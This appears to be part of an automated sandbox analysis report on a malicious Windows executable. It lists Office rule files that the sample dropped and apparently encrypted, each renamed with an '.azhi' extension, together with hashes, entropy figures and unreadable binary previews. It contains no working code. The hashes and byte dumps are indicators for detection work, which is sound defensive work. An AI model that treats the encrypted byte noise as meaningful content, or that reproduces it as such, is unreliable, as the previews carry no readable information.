Preview:	<?xml.........."D..T.......+...L,..#....N.&....a..i.g..}..e.P..K..CSv.."..........B._......z..._..-=..T.pv.a......r[.....`.0A;.5.S...?..2..}.z.V...t._.O/.s\|....e.PK......8DO...q.`.......&}.[lt.o..2m.z.jThpWx.!.R...SNs.2...qz..^...u....%..[.x....DM...W........."..Gz...Q..w6... MWh{+..Qv6..U.k......2v...Tj.......Ko...&...b:_...-.c%._B.N.j....u.y>.L...(....[].*.e.8{D....D..V@.....Z..q[..})...hH...8.g%..)aD...{..ZtT....O.V..P...1....!],......$.MC.n.Y:7...$..<.R...... .q..W/.O27H$.sb.i.\x..Y..tY..,..R%{..'....N'.;=w....{%@........c......l_36@..W..S[..h.C..W..F...k.8^....A.Js..:.$....@.q.r.EqI...6.a.jY{.o.L.._P....\=t._{{.m)..P.........7....f..8..Z..%....!0N...P.\|....4..c.....l.-#v...l.pZG../.OY....0..~rq\|.E_......$........`........o...v...Q.l.(......a.Oy.......G..s..}..c5...4n.>.PK"..b.X.I..........a...<_.rc...N......>..58..{4..+...8..1..qT.L...w...#.+m.;..v.o..{.....\4...4.J j.8..6X...w.."+.I`.~...P..135.!.....[..Q".....m..M.=....M....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11150v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.827235416322312
Encrypted:	false
SSDEEP:	24:HzjxYjKm4tjcpL7VzJwAWe4N96JCDAbUEww8CxKbCd7LibD:Tjx5vt6LdCvN9BD+UQ8C+Cd/wD
MD5:	38292176E0F4BA2F60E089F91E700B31
SHA1:	27CEB4D7AB5F98C70C77AEA32A5EAE373879B081
SHA-256:	8FE31B9FCA41DF4D3847A9B6AAE7288C49D8311D27B62B5C825C8FECA0C72666
SHA-512:	F874D4DFBDEDC605073EFA7A982066BBA69711AB233D2D9AD1C42B99150E12AD59F4DD57E0AD38B562BDF331C0C576D81794085DB00516FBD1E41CDE0F9A507D
Malicious:	false
Preview:	<?xml....)......;..X0.Nta.pl.~..?..H.6.b...:_.U....7...$k..)...JE1s..&.7..l......":....PQ..B....A...S.......6T)...O...(sY...r.j........C&Hb5~B,."~h:..x..$.a#7..l}....u<h7.:...K...#X....#.=.....T...U/......~..-..^r.>..+C.gar..3.R...U1.......M.&.<.. .......{.DJg.a...X.. L....-.$.7l.^..h.9.S0y)...d.k..CF..C...k.=./Z...#_....G...2"._..?..2......W..q....q...4.Ch~O.g/.SH6.O._m@r6...'S9..&s..p.t..b..N=..N....GG...&........A.4.r+1{...t+.V..\|.P;.[.(Rs....w.z.`'E.Z....h.;.<."B}.&dP4k....,.............#.....S.....F.P.-.l....!vmB......G..)v1_1.o\..q....#.l.T.<.U.bw...w. ..8.j9.l"Z.#..g..{{.x.......".....*... ..p..6..&.^o...Z.i...(.e{l...@.8.K.bW..d.s..y:..E...v.NX.06....>....{..@.-..{.Z..\|../.X.[~L...N.$t.r..la...AS9.D..C6...P.gL!Q.fd......}#..4....=.p..\......:....9...v....Fo..D.!.E.G.a.R......`.P.-Zb6z.}.X4Gt.-\W ....P6..M.V{Fh&..J.....Pi.......@.+.f..hX.P....'y@7..H.].Q.q.n.e....~....M....F...O..;.~.j....j.....+.MwM.E@.l"..=(QNiY...Lt7.Q

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11154v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.8110700684475285
Encrypted:	false
SSDEEP:	24:9qVTcCA8sA0DkUSbrnZBzYDxneJPEeBBqg+NdNZPGbD:9qVTp0Y5b/z2xeFEKB8qD
MD5:	EB89D8EA7652AAB81460BA828FE4AE1B
SHA1:	BA7C36A0B1E07318F8F35AD2CC8CA7E40CF8C0F4
SHA-256:	F716365A3EEF834E7AE5786649B7EAE19F68ABE9EB9425327E2DAF275788A2DD
SHA-512:	26A6AB1D46F4153B957C5A40C87154D37F6FD750CEE2082C76F5B20CA8505501C9D527D05D40267D07381AE045136073FCC72665C2E9CCF8409D7ABB9C01C0AD
Malicious:	false
Preview:	<?xml....^R.VG~.{.P ..`P._d.%...Q<{5bb.<....7.C..........](...f.X..0...I.wSF.i....=.....G...l.....v.:...........$`....A.?a......\|D..X.......J..C..tk..D+.y8(.~....._...$..a...6...F..y......>.K.."....!}$.....nf.].8...v...U.....3\.....Y$fS...y.9..u?..M.......X...9B.....Ta.8C..@d.a.......@O.+..H..B9......>.....X...N.....9.Dh.....<..v.....k...=.2Y.f\|.H.1..Dk.I.XnH<..Y..a...u.s..._....ri.^w..[..L.....A.H...=d..f....G?..N...#..6..+C...0N.g.....d....E...X.J.u.r.#....z.qz.+.@.?.\|.A.)v.ZK.u.O..-h.pB.yy."..%UN...GB.....n.1.w...,..?x...fYE>.lA.q...w.m..U.;..\..>`..........`.g...........Q....0..1y.d....eGF.H..........:%....B...... ..A.vF'......[V.X...]....&.....y..$.($vg..'...<8a.T..c..As._.....1...(`.........$..r./6.f.@F.+....ak..........8...5ZW..P3uc.R7.mZe.P8>...o..l.!B..f:<e....8...?q..L..9........A.V,..Q.\|_.fo..:Y..UE...VSg...@.49..'i./i!]*;...%XA..Pk....B.....7...DYr.V..=.R..L.i....._....QH....m.=.0W......8{l....h4..?.`...xh.L~..GQ9Dj

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11187v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.933133645083648
Encrypted:	false
SSDEEP:	96:Uq/3+I4ejPL4NgDKEuH6i8v/IxhqX0mGgzcuuC:hLjPLxuH6nHGgIuf
MD5:	A0A1E52258DFAB351C9151C632274D1A
SHA1:	72BB20A7EF377860C8A49A5AE411268A56F2FEFC
SHA-256:	2E7403B609658857F40A09CDEA099CB4126411A8437BAB092C4F1AA7832FDE1B
SHA-512:	78BF117C1C220AE6B6C2D7E815499FDEDFA86DB5897C154732A04303A7495E231453B31CF31A227085AF69A4602BFD96EEF55522697FB2E0905A0BE86ABC7FAF
Malicious:	false
Preview:	<?xml...1.H.o=...E....3c\|"..Y...~..".....<.e....._I}...#.6..eh..t..>...@...........L.......=.....PQ.Y...^....i9..-..........xs.2M.2.^..SU..pH.}..V.2.."h...........E.h.Q.^&.e.....:"N.......xw.L.......+.{]...j...r.1.5.H..?...U\|..)A.....u..\.......~._...k....p.ui...M...n......H....a.....x.~>......f......\.../g.o[..L3...$....#....`._V^k.n.....h...%.vN.0....y..IB..b.\|.a9..Ba.}._....u..~....H.w.5..... ....C..K2.(.b5.W........e..i...Eu.2.......}..iS.....d.!y.s...6.Yw@..<........E.@Db..K.%.f&.H.....m^.........=....B.....[..U...a-.{...zh..}.4>G3.h....~.m9.dg.TDG..l..e../E....Q........._`....Jl...._.../.6`R>...t...mk.}.S......%.......f.#h..hR+..@].6]$..f&[......V...<..E.ph^.W....u..r.3Ud.../>.U..g...........t.%xO...x.....M.]......L...:...57........a......y...i....=.>+.......w....K.....'e...<l.>%..}C0.+....v$..;t....1.c...tz....R5.H..)...Rj...).5v...S..Q...}.....X......;...~....mb..7v..........s.......U.9L..o*w..E.Y5..{....U\|....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11190v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.78635892642272
Encrypted:	false
SSDEEP:	24:vnmoxGJ1kwFvcvWJ5Cbg4jisjbjRsRsM/qzrS2P4kyVOgQs4nY32Ny8mnbD:PjwvcvW7Cbg4GIaRt4P4kNs4nBy8mbD
MD5:	B3B33AD9D013D6A1CD2191ADE28DCD9A
SHA1:	DEF67FD612441B3022DA27DC98AEE8CBB37532AC
SHA-256:	90D2B43D564417ECFBF596D8D06A031E756305F94C9036F3A47B9ECEC93C6BC5
SHA-512:	B5E687536C1E3F3318ABB3E3A380F32B5C97E8C68ACE386B5A3ED385EF396B0B38C637D99DE8622FAE271F20E55DFB43C7C94D3014B386E8B3B30873844775A4
Malicious:	false
Preview:	<?xmlj.B..x.....t..%l.[l.O.2..~..fd?....YP..u0LI.#.^54.........95%cYo.J..uc..\|...7Q...1.p.......X...{..llx^.~...D{.h.8..~.8d........-.V.s>..s.\|.#7.fL(zJ..V..L..6%.1y.uA.&..Qf.....u\8.m.>.U....]....Z3........}..Y...i4......sX...`.......u..@...@..~LP..6e.Q.A'o[74X...o.$..:1..uu.hA.{.K.......kz.>..AY%..{.g.S.`GS.Y..3>.l..G&..I2I.C$>o\|...%..g......W.z..lc.\|`.> .}{s"}..7Uhy..vH.9...\..nE.......ue.........1.\..}T.....n?f*.....2..q1./kY).0a.....Q<.}p.~.....}f\|.O...:.$K..V..D#._m%...'n.zl.X.[.D:..1h.[.........kJ.y+l.riQ.......FcJ.....w.?.?.\|..H.."....w..f.J.......9..........@.#..#....p`..?..B...`23j....)h..3.....b...u.wb.....=.e.g.\.._...sB..^..s...`C._....o.......Nz$....Wq.....f.#.p.b..../..C.k..)..}...BH..W+a.?3.w....u.3.]o+..xqsY$.X.....[.).#.."..y...D....U...H...c.w..j...G...l.-o.\...J.\...V..Li_D.q.jdj.\_.O.7[.O.1..C.64.'.(x.h....."......S.m.c..U?.^..qZ..l..VFM.....o..;.>.`o.\\|....Rh...q.S..1S$l..[z..sd....uJ3i_o.FR...RJ.......~...).Z7.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11195v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.977374817338466
Encrypted:	false
SSDEEP:	192:b32bpoMIU4BS4MfRF9hr9yLhlrl69cimxA7zLE0NC:bGbpoJNBS4MfRF9hr+9l6+LxA7E0C
MD5:	96EE59540D2E7761AF33AE406D6AE837
SHA1:	6EDA1DFA7231A80D416C9DA99E279E8901E28D8C
SHA-256:	47B2B37B1E29921CAECBC69C84520E05646E98CE66CE4E526EE51BD779921EB1
SHA-512:	6B41D773CB5F0762C4C6392411615F06B1E846BA031C4268BA5442383CCEC069BC68A65F28560A5023717F6ACD1EBAB9FB459F520146055E6B0088C5ECC787D6
Malicious:	false
Preview:	<?xml7$...W..q...,Vv7......Q-.~..4.X..].7Kr...c..sW..\|........(.m.E.(H.x..(.-o.....7......o..KkhH.X........~[8.C.a.)..Hn....;.B3V.$....C...q.KM....@..p.0M[UN.v}..0.,...'.wAe....(s..`.)EZ........[JDZSN..kA3..`..+.7..`..lF..;.s.P)-P......SW...P...9.F2..........O.....P'..j.......g.....R....'...B....D8L,..i.....;.....r...[d..hM0.Hd....1....R;D.k.%=W..ha...FP.w.HE...Q(fZ... .O..ia...M.9]~.z..3...hF...%.[....B]....3.W$.]..2.1.#.....bF..b......NM..9..E.R(n.g.:Iz...=p ..A.....(..?F.......k+........T.P.~.....Q5_l........,..9.....)...9!...t.).........N..L......N)....e.i.T...~KtO.................v)....YrTkQ..ol.%......y#J.......t.:aS.C.1..........SL(..W....eV.B..k.. .)....$....>.!?.....J._.F{.l.9.i".....h2........CX..PZ...'..:n.-E....E..5.#\|..[Bo.~..4;_.(..D.D.P.....v.........:.bm.k.B..R..y.i`<.Zf.J.....;...&........Q\|......~...-.....{.N..../...!z-....8.._.3.4.....A.2W......}..-.k...+;..di...d.......,...F.....k....I....Q.G.Xh@....N..##..p.N

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11208v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.744043495247479
Encrypted:	false
SSDEEP:	12:BxRbyvPC0DIw7Rr0AYWCLyJyZq5CrZhtCl+BReoKR5TtgNwAKp1dCTUZIIOvTYcq:7R+Bz50b2y4SCl+soiENwAI17ZITvMbD
MD5:	E0790877A355903CC357E40BD88F1812
SHA1:	CEEC47AD1B42DF91463D6411DA2EDC657EF80CA6
SHA-256:	54BF9D170880121031420B0693AB06B27CA2F81B9C6EE7FE896793E96CE9CBB0
SHA-512:	ABE85DCED87CABE1604B7D15396C7D5D31B977801B463CB61646FF5C74F44A62B2DB54248A51FD6783A8804C1DE16104006160E679F48DD49DF571AFD53186F6
Malicious:	false
Preview:	<?xml?.I.A......hT.B.$.t.......X.I.t..Y.`...._[......D8.de...?G........!d....W(.K.\i..i....W......T......L.`....W.\|q..NJ..a%.\|....])=> `.O.....6.'.G..o.......G/i....P..m.~1g!:+......Zq..!J.Z..E.&.~{~...O...;.q}(.I.........).......6.rd... ]..16..k.?..Sv..w....#._.zi......!C.a...<n.){...J..i.r.'.{-+..9G..!..TQ.$....E$....5~PS 19[...Z..L......f.....Z....%ssT...UV.W..,F..HXt.-..}"8......(..'e..>7._.P.+...O....C`..K..{....m...........AR.>.QM=....6Q.^v..s..K./f?+.]^.K.....L...P{..y\...&JaW.\|.x..7.".......=.....=.G]..Lu......<..d.\,.:.b....F..a....x7j......k.G..:.s.\.".c..-...,...x....W. ...A.q.r...^!...16/.2..<...`d.........~9....Q....U.e.N%..1V...(.s j.;....m.-..Uj...............9$C.q.c.........GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11209v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.912090875810613
Encrypted:	false
SSDEEP:	48:k32ga1s2L8VkI9fGvcd/pLLhOz+IEQHrgLZV16Ubf1/V10DD:k32r1kL9fGv+/pL0FLgLZ/DR/U
MD5:	3C13E6A0F75A67B520C86D0A913DCDAC
SHA1:	DFCF7FF03100F6506195F945A106B0B79D7AA13D
SHA-256:	ABFD642EBD300F00D7146BA3F73D24548BE2977DC1CC2F07FEE1BB75890C1F33
SHA-512:	CBCD3BB141CA874E2091DF48D09D256F50E6C1BA252C5A0792FD4056B72BCF93EC553D2FD9E98564829974DB37D706FC5FF3F127A60685F2B919954DEC27D8CF
Malicious:	false
Preview:	<?xml....~S..ms..g~/.D..i8....`.?.c7.....v.C0.....@^Kj.......R.'..}(e\|.+.E~.QV.....7)j..1.g...u....).....1.et.H..\|%.3U.BZxlg..".....Y..(..3+..=t...z=..lL<.b.....(0......=(..Hn.....8.P.h.."...'........$....(7.$. S.O....9....d..p.T.;9.)r].......hw.D......A..y.t7<)F..:.Z......$5L..7.y.3.H.Ss....-.^.X_..W....v..........T;..Q..m..I..j:l.do.q..$.-X....g..z8.q...=~..._-p......W..1..#..IS..B.6Q.D.....7R.6.$`4.....{...q..1c......L....]..MQ.."Ts..\|.!...+..A.wA"...F4l\ .?.... ......h...Xvu.,.x......._......<.;..4..L.?...N..Q...W..../..N.2.......U..A+...}.v.>...w.i%....b.L.T.E.0.........3...T.:..K.....p.I.I...':....$b_.U.M.).i....U......D..&s.....2...GN...q.5$.uw....C....5..Ez.h..FC..s0.Y....<...0?:..dJ'{.6...Ru-..-.7Y..e&..lLU....8.B"..`I......B..Ph.e..k5..o....~@?Rz.$m.....:JJ1R.N.m..*.Qk..c..V....ay...n........]..B..S.i.F.....\|$.?.....6\|...%.V.qcn.p..X....0e+oZ...@t^....F.. .:..A.......W..}.A^._.............%F..V....r..TN....y ...+.5 -h.....dq.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11210v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.85041299371911
Encrypted:	false
SSDEEP:	24:F6W/DJ1AWAqGwL+1pucihE3rF/0Lsh9EGx0vekc2e92HKPSYSRtoDqj5bD:F6K1AWxNL+1putq50gnEQgcl90KqYC0u
MD5:	9899F3F253D45CEB09F5EEF031FF6339
SHA1:	826ACE7FD2BF9017BAAE836A249F8A6866C36FAE
SHA-256:	06C3CF7C76B8593B2B4B14B054ED43812B15FC6C5CA1DC74671EE23D29E70010
SHA-512:	56EE595D30A8936FA9C3D8CA0034E2CEE78BC015B24F2AD50C55EA2C5419517A29F8653D7D50710622DE250F04ABCCB5C535DE108005C6F88607D9D1CF56F7B8
Malicious:	false
Preview:	<?xmlVll..(5...\| 3`O......z.b.?..?.)..=.r4V..Q....,>..w....j..UZ.i..l.`...I...Q....GO(.,.x c...Xk5..f......0..npO.!..R.._.p..p...7.C.4....fp...k..A.x.f\L..HN.........,.....!.i...<x....l..xM@...&...E.k_F:W.x.......=.....m.w{.?......e.wbry.n4.d.b.pn7..3.&l..#H.a.!...:....\f..)5.v...?.Ie....].Z.}.J.R.".%\|..'........+.'..mL...i[W.u./...N...8...M...(......?.0........{.Y&..z.B......\.R..._\|.tm^K.x.{....N.5....[c.t....2)....#m..s.L.?.6.....\|....l.}..X..Gpr..{....K...d.W.g...l.mS(.\|=OL...)k.U......\|.."Rj..o..^o18F...H'.._/5..ul.Lc5...xL...K.....(..,nG4.j..j...sd..]..=........P.........m.$...;B...,.>.p.t.....Z.....T..H...U.AuRp.....p.9d~.!.b......{+^.x..Q.9.]]h.%.%..hl.n....{N....SFv...lB.w.W..q....Cy$2./..Q..U3>[.ys....m..3...V.dD@..E.)...B.A...4..wr...v...fsm.`'....6b..K..!..r..:..}...3...b).c.m.'..H..W.MX.Z?LlI\|.3..eVA..!$....Ji..l.O....;.h.v.mr...$....bc.{.....v.C{!...z!.].O.'..1.!.K.../..LP.R.....E.a.........7..oS).4..@./.nz..c4Z?...7.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11264v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.942543187865051
Encrypted:	false
SSDEEP:	48:O6IqRUc4LdC3Eo9dZTH1NVhVctKjg+0ykaWs+UlaimPrppMzariCM6b27bH19vS7:4IUutXZ7QKj90lImP8++b427bH1VO
MD5:	7AE7D690C1A6302A919F8480706F69E6
SHA1:	A628896825AA4B11982111F5C7C857934FBE11C1
SHA-256:	251EA1A6F627EA45743514CF920E8D27E8EB2A6E467F83D0D0894409C20257F4
SHA-512:	FB032FBF6F2097626F4D231D2DD73B2A3705F8DFA6EBD905B99C732CDC6A81DCCAA7F8E5282D1C3DEC92B2C33D0371C9A29DD586CCDA2C2873C88CAFEA486312
Malicious:	false
Preview:	<?xmlB..8.=n.....".....A&...5\r...G_...1$(..M0N^..vM...D..H)G.p+..).......g...r.......X!."U.m..!%.#.'..?0l96.X-].U.. e..K.Qx'...k....9...h...G:.P...^h ......`!.5..r......p...[......Z .2......b].8.K=R...:.@__....y.5.7..0.`%.......h..)u.....%..H.z.j..N6...Ubn..'E..0..n.....-C..K..\|.=..m.N........T8...!iD:...f...._...SX.....c.........'............,r..L.F.0.....T...T.\F....k..".`V@.h8..l.....!.U..N..t....P.9..$..eo.1...!...n..K-'3..p(&..u.9...x.u......x.9..!....B.xAv.L.\|......W...}m(.......<.O8.F._..1..S.x1..{..}@(P...../..\|.h.r.Q..s..h......<cP..,...j......!b..:.F .N...x...].Z...m..x...d...".U..!..BnTh`.-W5zQ.6..1qU. .gt.O...).\|...A$...{.I....w..3...jV.s.b..$.Z..g....$*R.<..9[..=.m%/...}C'.^..{..j.....#..".D91.".=n.5...?#"...u.....=.u..@....V+T.[....l.s1.Y9H.(\...<...KA....tcA"@..B$"..a-/SR...`..cV..O.Rs...u..k.LeY]}...<R..C..\......'..:}&!y...>.J_.......R.[.............l...Tf..- .V..e....C....v..F7~{F..'.m.....o.j......G.5=.F%.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11265v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.909616906563256
Encrypted:	false
SSDEEP:	48:pPW4cBilJsSY5V6ymirSENC1ddphzUOyPBPx/SZqD:pPW4hsS8ziFhobSs
MD5:	355AB3A17C109009952CF3E57D261F80
SHA1:	125F2F541B84F616618236A0817A8141A84DC0CD
SHA-256:	423E5F48B5FA4210CEE8776474F18580E2AEFAEFA4668C12997B5E471FAB1B84
SHA-512:	98E6B0BFCA0560729CB88F57F5612CDCB1CD6E12B59F7CD390FACF707359B208B198A244331BEA8A890F6BC09D385AEACD26D7701B66D33E0ED912B6702FB50D
Malicious:	false
Preview:	<?xml:.T.\|._:'...>.....^.f-.@..o.......d..U...M_].).a...W...........X.._=k(?......%h.^..p..8.....~....zH...dj]....$......w....}.....y}...H..&...e......6E.......A.}..:....Q......O.ly...B.;....ZF..,.~7.@3...h....(..O&0.e^....9o..r..........._..S...0......P...{...Ak~.....i..lS9V.8r..u...[:S..fB..#.MG.y8..~l...mwbWC)....PT<.m.*..E..T.<-(.4..q^tQA'..NY....p.S......?....Z..@.;...............f(..^...#.Z8.MF.........tH....u\|....H....i..[..~....jq.lt.UHa!(..1r>....!&..N..fV.)....`?........3..a..V.2...&._..J,.......0.3....C.._.1..p...&.B...F..2q..{...$...p..Z;K...7D.).W.\|..q5....6......p`....F..1...0.....B...&.Yv..N...]....:.q..kzs..w)..W,{mq.....a^$he.g...\.q..k....4...{-....m.v.......iB... +.I..m?..../....'.i......?.\...w.=.]..8^5.......cf.b......l....o.2!...O+....;...?.l...!../s.......k..po..UG.3Pk....<..N....M.G...9{)..4?.RWw+.#.CU.p....@.....l.?.U."....V........p8\.......-.n..K....2....X."$(.3b...B..l.C..k.....f.k.r.O..."(..+a.....875{`.k...]..D4nG....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11285v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.972702197809569
Encrypted:	false
SSDEEP:	192:+sy+IJ0AzxJ3iHyR+GM6ijf+DQC2NJBtGPEbvqHrGt:+sy/J0sjiyPMJfevEfsED44
MD5:	56C3F1963E9F5FC7F75C2F86D31A36B8
SHA1:	6C882CEF7CA14938C4F87DAA9E1D107DB0DDE0B7
SHA-256:	E86F67FF35001EF1A587B151F97BFFF018603A0F3A17ACF056A005C0355A3674
SHA-512:	4CD7E0FEC20AB09E4D3766A6730E954F29C9986883191984C8F97EDA1F6CCDAE6D1D776383948E0E96DCC821EFCE5E5326CC6D87A99DA6B6D0554FE3ADEFC455
Malicious:	false
Preview:	<?xmlg...Ls(....5j=..X,.~..L...PU.......Hb.HD.J..B...#'{.6..Qds..'.E.x.vUA....q..3a..........X..J..L..L=.:.....N.x.....r...........Y.{...Y.,1.0_L"..P^.f...;..3..y....%h.t Q... ........9\|;..;O@.^...U..............u)f;F6...L...v..........C2#..it\|...p..3..D..u...xk.&M#L....w:x.+..R.i1...2......;{..J=...Vy.)..[N..4..$.U.Z..c...N@..@.=+.......?.d..X..&._..]..q6..7.L5E.[....u.k.(U.O..T'.9&.k.?h.f..".....8z..v.Y.{K..8h...g^=..........}^.....M...y.......y...:....&..Q.x..w.?...r.U.1..z.t.F.....s.K.MB.+T.....]..G.....4....O.\:..0....p........I...@u.2..w3...{......6.....rc)?AR.4o.7.......%Sx{..6..F^A10.[.....%..Z.&....n.U..(8.K...6_*g.s.........\|#JB.v...%...l.bZ[z..f.P..4Q.\.L.lM.3..a.$g7.[.m..?.E..?.r..."....U..X.9>.e.+....rcN.z....&..0Gf...d....X...=...8^.r....5..'.J..gr&...X..N_..y...o....y.#...[.)m..\|.Ga.Ii..4B.1C).s\t..O.YX..:.W......y.T5.......D.0..H.5...stL&....0..4..Gy..s.).o%..;h ..s>.!.q%.m'u.wG..[..w........l...a..... .O3

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11289v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.948970091801774
Encrypted:	false
SSDEEP:	96:bbyO2YosR9F6PKdWoW8u+wlekjD4bO2Htn0/Qfd5sotP:bGx9mF6idOF8O2HLd5sw
MD5:	17F77E6716500DE792ED132D178F867B
SHA1:	DFE438386F5F84C013CFEFF7723D760B76C83296
SHA-256:	3B06EDA6C2E7ECBD566A3EE92471BDE6E9C8B917E8ABA422C5CCE4786482B314
SHA-512:	3A1A223A05858E8D7F2A236E9B465E8D5C0D3A4CB2E64BB45EE6574631F61B53593FE6B92A6ACC07F3840B317E147FB30735BEA742A193735A799C6A3F32C426
Malicious:	false
Preview:	<?xml..=.......q`.K.z.!......2%5\|.YR:..>..}..]......."..#......(..i..k........`....6.K~.[..=w..NwA....`I..o....J.QDb....}.....b.....3.p.....O...-..\|....e.tT`.=;....M..C.......!^.Jj.1....[.s..Sig.l..........D....M.V2..D3.v?.....<blL...1o..H...l....Y.....H.......'%Fv.D..k..E[..]d..F...f\|. ...P..#..Y.M+FXLSZ......L...a_O.XG&P...mpY.S..\^O......9...._aJ\..r?..7.U"G..yJ...)>.!^.#;...d...M...2...x........_.Y!q..!..s;Dj....S.3..>.4...Q....S.g.9{..Pl..FMT....bO..A.dK.T$\.ms. Z.=.c".(PHx.....{.....O...b.i...@...P.).!...s.@..#..f....2...\|..[B'...szn..X..\|K.S.~.ri...z`.....l.k.....I..(v..f.T+...ur.~.n.:.g.~#.Q...'-.fxc.......p.......}...v<..y..}..H.st...AbXI.............T...W...U....\w.<...N.8Q.2.2......k!..O.>ef...o.K(...H....#......z..I..E[..1.mfwv...4..e...O}..._.h.........x.:.7......t6......WW.)..G.......+.e2.Gw.....O...w*..#Ya.-......zv.6.t.3d......\|......N.+... .@..,..E......H..C4b\^..b...Z.....80K'..Q..h.!..$M..{Pi{.%...F$.A..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11300v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.962904136582261
Encrypted:	false
SSDEEP:	96:jrqt+N/3sTUML0s1YGb8jUlHH3Ya6oLBRQVeJtVW+fePyj6TPBxcrjNEqah/wa7:jrqtegJL06Db8QlHH3YJo3QVWtJ2aj6R
MD5:	9ECA0E458DA0E2EB4B8433E532F1A765
SHA1:	3340F3F27E580941BE5018735BCB89208E81F1B8
SHA-256:	0E566BE6F766CC2BBE8CFF5F3508100889D99D7BB48F578C03779335C0909423
SHA-512:	5CB494FB6E96088B15C75902EB611E88E86E3CECFB7B07D8B489136A2F43A093CC6197EA96341D65E18656732C4C5677629FEADBEB15EEEB83279BD1D4DACA3A
Malicious:	false
Preview:	<?xmlt....]....q1p..pN.a.BF.?P...CW8.)..8......[.2.. ..5N......q.Cz.cmc..fme...M...T]2.Wl.G.'q..J..1..x.L-.>.iH\....1C/.aq.J...z.b..8.Lv...-.a_\|W.8D...<Z~S~.."..K?M..jWg.p.....\^..D..o.}..[,I07..\.~....R..Jo..\.fJ..vS.2X._.0..0m.m......K..i.'.......Bx{.....?.Z.x...{+.M.uW.^.:fw.. r...p.....?.......o9x..c}o....z=.....".C+U.a.hK......._.b3.....bM..........V.q}..M.t8......ZR....$.._Y.n..l.8P....x.'@...c-.?..r.5h....H`.... j.\|.l,G..$.t=WA..t{7R7.P...d#.....-..+....KI.P....cJJ<G..n....d.;........L{..:....[.=.........[an.Uj.m...ER..pznL.L9L....Y.y......j.3@x........%..$.;.... ).i..l8.......].jj`.VP.S...N-].F.9........~E..f..9.q."w...g.@.K..5.4f.+z.bI.... Zf."K...b.......g-.[[.}3../e....F=C[`..:T~...(t}.dB..(c.N..N.....5...y...S.^......TmT.h;%...Y.=W..4...Y.[d!.iUc..Z..$....]..9.HlU.ju4b....F....b..&<...q.P...oX.t.....R...?1.g)..H....,a-=5N..<r..4..nQ.N..p.....'.(A........{....%t.+L5.o8.:...DB......Q7m.G...'H>.E o..%...{.7.E....W..1.")1 Ap\|........]..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11302v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.938648493653829
Encrypted:	false
SSDEEP:	48:aM8d/mHAdPdLgq4VhbWlm1aa2F4EmUOJ0cqIKEi1E+AA7pNdHUT2iICbeXI5yFD:78lbdPdLz4VhbWlmgaHEc5lKLVplUT25
MD5:	EC021130F90175B92DCBEF82FF64ECE6
SHA1:	4EAA6F8A42B27FC92837455560545200A451821E
SHA-256:	07C19FA1E543CCDA43E6A524C117A3DC5A3308931FC85DA99280E81C79A91FB3
SHA-512:	4CDD88248EFB4033808B1D93FE0FC4DC7141059E2FD9AA99741DB0AAC53899D82F8598ED3480E71BAD57872C81E54B810A27F48A48FFABF69D3B7445DED288E3
Malicious:	false
